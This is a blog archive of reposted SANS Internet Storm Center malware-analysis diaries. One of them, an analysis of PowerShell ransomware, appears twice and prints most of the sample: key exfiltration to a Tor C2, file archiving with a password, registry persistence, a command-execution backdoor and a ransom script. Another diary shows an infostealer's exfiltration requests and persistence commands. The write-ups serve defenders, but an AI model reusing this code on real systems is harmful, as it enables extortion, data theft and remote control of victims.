Tag Archives: SANS

Simple Powershell Ransomware Creating a 7Z Archive of your Files, (Thu, Apr 8th)

This post was originally published on this site

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .homeTortor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split 'r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'7z.dll"';
    $7zexe = '"'+$tmp+'7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'DesktopYourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Once the files archived, scripts are dumped on the filesystem:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'10d2d10d2d.ps1';
    $10d2e = $usr +'Desktop10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'DesktopRansom_10d2e.bat' -value 'cmd /k powershell -ep bypass .10d2e.ps1';
}

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP10d2d; powershell -ep bypass .10d2d.ps1';
New-ItemProperty -Path HKCU:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split 'n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace 'rn', 'rn';
        }
        catch
        {
            $returnCont = $_ -replace 'rn', 'rn';
        }
        $curPath = (cmd /c cd | Out-String) -replace 'rn', 'rn';
        $returnCont = ('From UUID - {0} {1}rn{2}rn' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILEDesktoppassc0de.txt -Value $result;
    }

}

Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:

 

What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know…

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Simple Powershell Ransomware Creating a 7Z Archive of your Files, (Thu, Apr 8th)

This post was originally published on this site

If some ransomware families are based on PE files with complex features, it's easy to write quick-and-dirty ransomware in other languages like Powershell. I found this sample while hunting. I'm pretty confident that this script is a proof-of-concept or still under development because it does not contain all the required components and includes some debugging information.

The file has been submitted on VT (SHA256:aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4)[1] and has a very nice score of 0/58! Let's have a look at it.

The script starts by generating some host-based data: a UUID and a random password:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

The ransomware communicates through TOR for C2 communications. I noticed that the TOR client was not included in this PowerShell script, maybe in a second script?

Note: TOR is expected to be launched from a ".home" directory:

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .homeTortor.exe;

The C2 server is located at this Onion address: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

The ransomware sends the generated UUID and password to the C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;

The expected reply is a simple "OK" that will trigger the file encryption process. The list of targeted file extensions is quite small and the search path is restricted to the user's home directory.

function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split 'r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

The way files are encrypted is an interesting approach. Instead of encrypting all files one by one, it creates a big 7Z encrypted archive containing all targeted files.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'7z.dll"';
    $7zexe = '"'+$tmp+'7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'DesktopYourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Once the files archived, scripts are dumped on the filesystem:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'10d2d10d2d.ps1';
    $10d2e = $usr +'Desktop10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'DesktopRansom_10d2e.bat' -value 'cmd /k powershell -ep bypass .10d2e.ps1';
}

The first script ("10d2d.ps1") implements persistence:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP10d2d; powershell -ep bypass .10d2d.ps1';
New-ItemProperty -Path HKCU:HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun -Name 1s0tda2rdt -Value $onStart -Force;

Then it implements a backdoor waiting for commands from the C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split 'n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace 'rn', 'rn';
        }
        catch
        {
            $returnCont = $_ -replace 'rn', 'rn';
        }
        $curPath = (cmd /c cd | Out-String) -replace 'rn', 'rn';
        $returnCont = ('From UUID - {0} {1}rn{2}rn' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

The second script ("10d2e.ps1") contains the code to take the user by hand to pay the ransom (which is not very expensive: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILEDesktoppassc0de.txt -Value $result;
    }

}

Interaction with the victim looks like this:

Note that this second script must be invoked by the user as stated in the notification:

 

What to think about this script? It is very simple but does the job to annoy the victim. Is it a proof-of-concept? I don't know…

[1] https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/strings

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

WiFi IDS and Private MAC Addresses, (Wed, Apr 7th)

This post was originally published on this site

I recently came across "nzyme" [1], a WiFi Intrusion Detection System (IDS). Nzyme does focus on WiFi-specific attacks, so it does not care about payload but inspects the 802.11 headers that escape traditional, wired IDSs. It was not terribly hard to get it running on a Raspberry Pi using a Panda USB WiFi adapter.

When configuring nzyme, you will specify the channels it is supposed to monitor and the SSIDs and BSSIDs you are using in your environment. It does not monitor or alert on events related to other SSIDs. I live in a reasonably densely populated area, and there are a dozen or so neighbor access points in range. Monitoring for classic "Rogue Access Points" would not make much sense. 

But even nzyme shows a large number of alerts:


Figure 1: nzyme dashboard

Luckily, nzyme also provides a few more details:


Figure 2: Alert Details

The key feature here is the MAC address: 02:9f:c2:d7:b8:d5. Let's take it apart: The first three bytes, the '"OUI" (Organization Unique Identifier), should identify the manufacturer, but you will not find "02:9f:c2" in the standard lookup table [2] [3].

To understand why Wireshark is probably wrong, let's take a closer look at the first byte of the MAC address:


Figure 3: MAC Address OUI Bytes

Figure 3 shows a diagram of the OUI bytes. The last two bits of the first byte have a special purpose:

  • U/L Bit: For officially assigned ("U"=Universal) addresses, this bit is CLEARED. If you want to make up your own local OUI, set this bit to avoid conflicts with officially assigned OUIs.
  • I/G Bit: Individual or Group bit. If set, the MAC address is used for Multicast/Broadcast. If cleared, it is used for Unicast.

So your MAC address above starts with "02". The "U/L" bit is set, and the OUI is "made up" and not assigned to a manufacturer. So why so many "made up" MAC addresses?

The main source of these alerts is Apple's iOS (and Android), enhancing the privacy of WiFi. MAC addresses have long been used to track users. In response, mobile devices have adopted this behavior (at least this is what I see from iOS) [4]:

  • When searching for WiFi networks, the operating system keeps altering its MAC address.
  • Once it joins a network, the MAC address will be consistent. It will use the same MAC address whenever it reconnects to the same network.
  • The actual "hardware" MAC address will only be used whenever a user specifically disables the privacy feature for a network [5]

So for your home/company "trusted" network, you may want to disable this feature to make network management easier. I found that the Apple Watch does not appear to pick up that setting from the phone, so you need to adjust this on the watch itself.

Another alert I have seen from nzyme is that access points use channels I didn't configure in nzyme. This is mostly due to access points automatically picking channels based on congestion. This feature can be disabled at the access point.

[1] https://nzyme.org
[2] https://standards.ieee.org/products-services/regauth/oui28/index.html
[3] https://www.wireshark.org/tools/oui-lookup.html
[4] https://support.apple.com/en-us/HT211949
[5] https://support.apple.com/en-us/HT211227


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malspam with Lokibot vs. Outlook and RFCs, (Tue, Apr 6th)

This post was originally published on this site

Couple of weeks ago, my phishing/spam trap caught an interesting e-mail carrying what turned out to be a sample of the Lokibot Infostealer.
At first glance, the e-mail appeared to be a run of the mill malspam message.

  • The text was a low-quality translation of English into Czech.
  • It claimed that the recipient needed to verify contents of attached file, that was supposed to contain information about an upcoming funds transfer.
  • The sender name and signature were supposed to look like the message came from an employee of one of the major Czech banks.

The message, however, turned out to be more interesting than it first appeared…

But before we get to that, let’s quickly look at the attachment, which was interesting in its own right. The attached ZIP archive contained an ISO file, which in turn contained an EXE. As it turned out, the executable was created with the Nullsoft Scriptable Install System, a legitimate tool for creating installer packages for Windows, which is sometimes used by malware authors in lieu of/in addition to a packer[1].

EXEs created with NSIS can be opened using 7-Zip[2]. Using this approach, one can easily get access to their contents, which in this case meant only an NSI installation script and a single DLL (0xtwa2t09nc.dll) located within a $PLUGINSDIR subdirectory.

As its name suggests, an NSI installation script should basically specify which steps are to be taken during an installation. In this case it contained only one function of note named .onInit.

As you may see, the .onInit function was simply supposed to call another function called Ycksxjzoiwxisk from the DLL located in the $PLUGINSDIR directory.

After this function was called, a malicious payload – which turned out to be a version of the Lokibot infostealer – would be decoded and loaded into memory. It would then copy the original executable to %appdata% directory, create a registry key pointing to the copy of the application, remove the original executable and stay resident.

During its in-memory residence, it would try to gather sensitive data (configurations, passwords, etc.) from a list of file system and registry locations.

It would then try to contact a C2 server and exfiltrate the collected data to it using HTTP. At the time of analysis, the server contacted by this version of the malware already appeared to be down and all attempts at accessing it by the malware were met with a HTTP 404 error.

A small point to note is that the malware seemed to use a fixed ~60 second beaconing period.

I’ve mentioned that the malware created a registry key after it copied the original malicious executable to the %appdata% directory. From this, you may have (quite reasonably) assumed that the key in question would have been created in one of the usual places that might be used to ensure persistence of the malware. This might indeed have been what authors of the malware were going for, but either due to encoding issues or some other reason, when I executed the malware in a VM (English version of W10), the key ended up in the root of the HKCU hive with an unexpected name.

It is clear, that if the registry modification was indeed an attempt at ensuring persistence, it didn’t go according to plan. This was however not the only interesting thing regarding encoding with our malspam… Which brings us back to the e-mail message.

Although, as I’ve mentioned, at first the e-mail appeared quite ordinary, a second look at it led to an interesting discovery. When an e-mail is opened in Outlook, it normally either displays both the name and an address of the sender…

…or Outlook may, under certain specific conditions, display only the name of the sender. If one then hovers on the name with a cursor, the name will turn blue and a corresponding Outlook contact card will be displayed.

Apart from that, one could simply right-click on the name (or on the icon with portrait or initials next to it) and display the contact card (and the e-mail address) that way.

In the case of our malspam, however, this did not happen. The name of the sender was not interactive in any way and if the icon with initials was right-clicked and the contact card was displayed, it was empty with no e-mail address present.

If one were to click on the “Reply” button, the behavior of Outlook would again seem unusual, as it would only display the name of the sender as text in the “To” field, and not any e-mail address.

After a quick analysis, the reason for these issues became clear – they were caused by the use of non-RFC-compliant sender address in the message, or – more specifically – by incorrectly used mixed-encoding. Per RFC 2047[3], non-ASCII encodings may be used in e-mail headers, the only requirement appears to be that the encoded text is formatted according to the following specification:

=?charset?encoding?encoded-text?=

The use of mixed-encoding in a single header is allowed by the RFC as well, if the two encodings are whitespace separated:

Ordinary ASCII text and 'encoded-word's may appear together in the
same header field.  However, an 'encoded-word' that appears in a
header field defined as '*text' MUST be separated from any adjacent
'encoded-word' or 'text' by 'linear-white-space'.

In cases when a sender address contains non-ASCII characters, it is therefore quite normal and proper to use – for example – a UTF-8 encoded string for the name, followed by an ASCII string, as in the following case:

From: =?UTF-8?Q?Jan_Kop=C5=99iva?= <jan@notimportant.tld>

This would result in the following sender information being displayed:

So where is the issue with our malspam message? Let’s take a look at its From header:

From: =?UTF-8?B?xIxlc2vDoSBzcG/FmWl0ZWxuYQ==?=, a.s. <info@[redacted].xyz>

As you may see, there is not a white space character after the end of the UTF-8 encoded text. However even if we were to put a whitespace after it, things would not look as they should – Outlook would simply display the same text in a decoded form, followed by the encoded form…

You can however probably guess where the issue lies – it is in the comma. Comma is a special character in the area of e-mail communication (consider that we separate multiple recipients by it) and therefore if it were used in a display name of a sender, it would need to be quoted to be compliant with RFC 5322[4]. This is something the senders of the malspam probably didn’t know – they simply separated the intended display name into two parts:

  • one with non-ASCII characters, which would have to be UTF-8 encoded, and
  • the other one (", a.s."), that didn't contain non-ASCII characters and could therefore be left in the original unencoded form… Or not, as our example shows.

If one were to put the comma, or the entire second part of the display name, in quotes, the sender information would finally look as it was supposed to.

As we may see, the “missing address” issue was caused by a non-RFC-compliant message being interpreted by Outlook, that expects to parse RFC-compliant content.

So, is this a vulnerability? Not really – Outlook appears to be working pretty much in accordance with the RFC specification… Unfortunately, as our malspam message shows, distributors of malicious e-mail messages don’t necessarily have to conform to such standards, which may result in an unexpected behavior when such a message is received.

Although a missing sender address in an e-mail from an unknown/external sender would be most suspicious to any security-minded recipient, to most regular users the fact that only a (potentially well-known) name would be displayed where a sender address should be could make any message appear much more trustworthy. So even though the use of non-compliant sender addresses probably won’t be the “next big thing” in phishing, it is certainly good to know that it is possible and that it is used in the wild, even if (at least so far) completely unintentionally. And it may also be worth it to mention the corrensponding behavior of Outlook in any advanced security awareness classes dealing with targetted attacks that you might teach…

 

Indicators of Compromise (IoCs)

Ceskasporitelna, a.s.Swift_260321_scan.zip (172 kB)
MD5 – bcd356d0c4c8d80bff2dea8045602044
SHA1 – f67f9dee7683aeb617183e0ceab4db5830a417f8

Ceskasporitelna, a.s.Swift_260321_scan.exe (511 kB)
MD5 – f6a59e6f73bc89e1d75db46f32d624dc
SHA-1 – ae70271d98402a100fcf3f6bc2d209025c9c321f

0xtwa2t09nc.dll (116 kB)
MD5 – 93d707a549d1b91001efbd75e858064d
SHA-1 – 3939a8e4935e4561a005fee08ac831ff0bd4f207

 

[1] https://threatpost.com/raticate-group-industrial-firms-revolving-payloads/155775/
[2] https://isc.sans.edu/forums/diary/Quick+analysis+of+malware+created+with+NSIS/23703/
[3] https://tools.ietf.org/html/rfc2047
[4] https://tools.ietf.org/html/rfc5322

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

YARA and CyberChef: ZIP, (Sun, Apr 4th)

This post was originally published on this site

When processing the result of "unzip" in CyberChef, for example with YARA rules, all files contained inside the ZIP file, are concatenated together.

This is not a problem when dealing with a single file inside a ZIP container. But it can be for multiple files. If you want to know more, I recorded a video with more details:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

C2 Activity: Sandboxes or Real Victims?, (Fri, Apr 2nd)

This post was originally published on this site

In my last diary[1], I mentioned that I was able to access screenshots exfiltrated by the malware sample. During the first analysis, there were approximately 460 JPEG files available. I continued to keep an eye on the host and the number slightly increased but not so much. My diary conclusion was that the malware looks popular seeing the number of screenshots but wait… Are we sure that all those screenshots are real victims? I executed the malware in my sandbox and probably other automated analysis tools were used to detonate the malware in a sandbox. This question popped up in my mind: How do have an idea about the ratio of automated tools VS. real victims?

I grabbed all the pictures in a local directory and wrote some lines of Python to analyze them. The main question is: how to detect if the screenshot has been taken in a sandbox or a real system? What we can check:

  • The size of the screenshot (that matches the desktop)
  • The percentage of unified color (usually, sandbox don’t have open windows and a limited set of icons on the desktop).

To « translate » this into Python, I used the classic library to work on image: pillow[2]. extcolors is a small library that works directly on colors[3].

#!/usr/bin/python3
import extcolors
import PIL
import os

folder="screenshots"
for image in os.listdir(folder):
    img = PIL.Image.open(folder+"/"+image)
    width, height = img.size
    colors, pixel_count = extcolors.extract_from_image(img)
    if width <= 1024 and height <= 768:
        print("Possible sandbox: %s : Size: %dx%d" % (image, width, height))
    else:
        for c in colors:
            hexcolor = '%02x%02x%02x' % c[0]
            percentage = (c[1] / pixel_count) * 100
            if percentage > 93 and hexcolor < "f00000":
                print("Possible sandbox: %s : Color: %s (%6.2f%%)" % (image,hexcolor, percentage))

After some tests, I decided to "flag" a screenshot as coming from a sandbox if the screen resolution is below 1024×768 and if we have >93% of a dark color (to match the classic blue, black or green backgrounds. Let's execute the scripts against the collected pictures:

Possible sandbox: 152114211370.jpg : Color: 000000 ( 94.25%)
Possible sandbox: 152117757583.jpg : Color: 000000 ( 98.20%)
Possible sandbox: 152127051988.jpg : Color: 000000 ( 95.09%)
Possible sandbox: 152178310978.jpg : Size: 1024x768
Possible sandbox: 152129950226.jpg : Size: 800x600
Possible sandbox: 152115117436.jpg : Size: 800x600
Possible sandbox: 152135496106.jpg : Color: c7b199 ( 99.23%)
Possible sandbox: 152119090512.jpg : Color: 000000 ( 99.37%)
Possible sandbox: 152129464868.jpg : Color: 2974c7 ( 94.60%)
Possible sandbox: 152153616774.jpg : Size: 800x600
Possible sandbox: 152137277200.jpg : Size: 800x600
Possible sandbox: 152157989841.jpg : Size: 1024x768
...

Here are the results:

Some detected sandboxes:

[1] https://isc.sans.edu/forums/diary/Quick+Analysis+of+a+Modular+InfoStealer/27264/
[2] https://pillow.readthedocs.io/en/stable/
[3] https://pypi.org/project/extcolors/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Quick Analysis of a Modular InfoStealer, (Wed, Mar 31st)

This post was originally published on this site

This morning, an interesting phishing email landed in my spam trap. The mail was redacted in Spanish and, as usual, asked the recipient to urgently process the attached document. The filename was "AVISO.001" (This extension is used by multi-volume archives). The archive contained a PE file with a very long name: AVISO11504122921827776385010767000154304736120425314155656824545860211706529881523930427.exe (SHA256:ff834f404b977a475ef56f1fa81cf91f0ac7e07b8d44e0c224861a3287f47c8c). The file is unknown on VT at this time so I did a quick analysis.

It first performs a quick review of the target and exfiltrates the collected information:

POST /7Ndd3SnW/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 176[.]111[.]174[.]67
Content-Length: 83
Cache-Control: no-cache

id=152140224449&vs=2.11&sd=c5c741&os=9&bi=1&ar=1&pc=WIN7X64&un=user01&dm=&av=0&lv=0

You can see the name of the computer ("pc="), the user ("un="). No AV is running (av=0). There is an ID (randomly generated) and a version of the malware or campaign? ("vs=").

The next step is to drop itself into C:ProgramData11ab573a3rween.exe. This malware is modular and downloads two DLLs located on the C2 server:

Those DLLs are known on VT [1][2]:

remnux@remnux:/MalwareZoo/20210331$ shasum -a 256 *.dll
6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64  cred.dll
3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644  scr.dll

Persistence is achieved via a new registry key. Any shortcut created to the location pointed by a subkey Startup will launch the service during logon/reboot.

"C:WindowsSystem32cmd.exe" /C REG ADD "HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders" /f /v Startup /t REG_SZ /d C:ProgramData11ab573a3

DLLs are not loaded into the main program with LoadLibrary() but there are launched from rundll32:

"C:WindowsSystem32rundll32.exe" C:ProgramData5eba991cccd123cred.dll, Main
"C:WindowsSystem32rundll32.exe" C:ProgramData5eba991cccd123scr.dll, Main

Once the DLLs are launched, the exfiltration of data starts:

cred.dll is responsible for searching credentials. Example of probes detected:

  • Outlook (HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows Messaging SubsystemProfilesOutlook)
  • FileZilla (C:Usersuser01AppDataRoamingFileZillasitemanager.xml)
  • Purple (C:Usersuser01AppDataRoaming.purpleaccounts.xml)

Data is then exfiltrated:

POST //7Ndd3SnW/index.php HTTP/1.1
Host: 176.111.174.67
Content-Length: 21
Content-Type: application/x-www-form-urlencoded

id=152140224449&cred=

(In my sandbox, my credentials was available)

scr.dll is used to take screenshots at regular interval and also exfiltrate them:

POST //7Ndd3SnW/index.php?scr=up HTTP/1.1
Host: 176.111.174.67
User-Agent: Uploador
Content-Type: multipart/form-data; boundary=152140224449.jpg
Connection: Keep-Alive
Content-Length: 34758

--152140224449.jpg
Content-Disposition: form-data; name="data"; filename="152140224449.jpg"
Content-Type: application/octet-stream

......JFIF.............C.......... (data removed)

Note the nice User-Agent: "Uploador". I found references to this string back in 2015![3].

Here is a screenshot of the C2 panel, a good old Amadey:

Even if the malware looks old-fashioned, it remains effective and already made some victims. I found a lot of screenshots (461) on the C2 server:

[1] https://www.virustotal.com/gui/file/6f917b86c623a4ef2326de062cb206208b25d93f6d7a2911bc7c10f7c83ffd64/detection
[2] https://www.virustotal.com/gui/file/3d0efa67d54ee1452aa53f35db5552fe079adfd14f1fe312097b266943dd9644/detection
[3] https://github.com/techbliss/Yara_Mailware_Quick_menu_scanner/blob/master/yara/malware/Derkziel_Stealer.yar
[4] https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
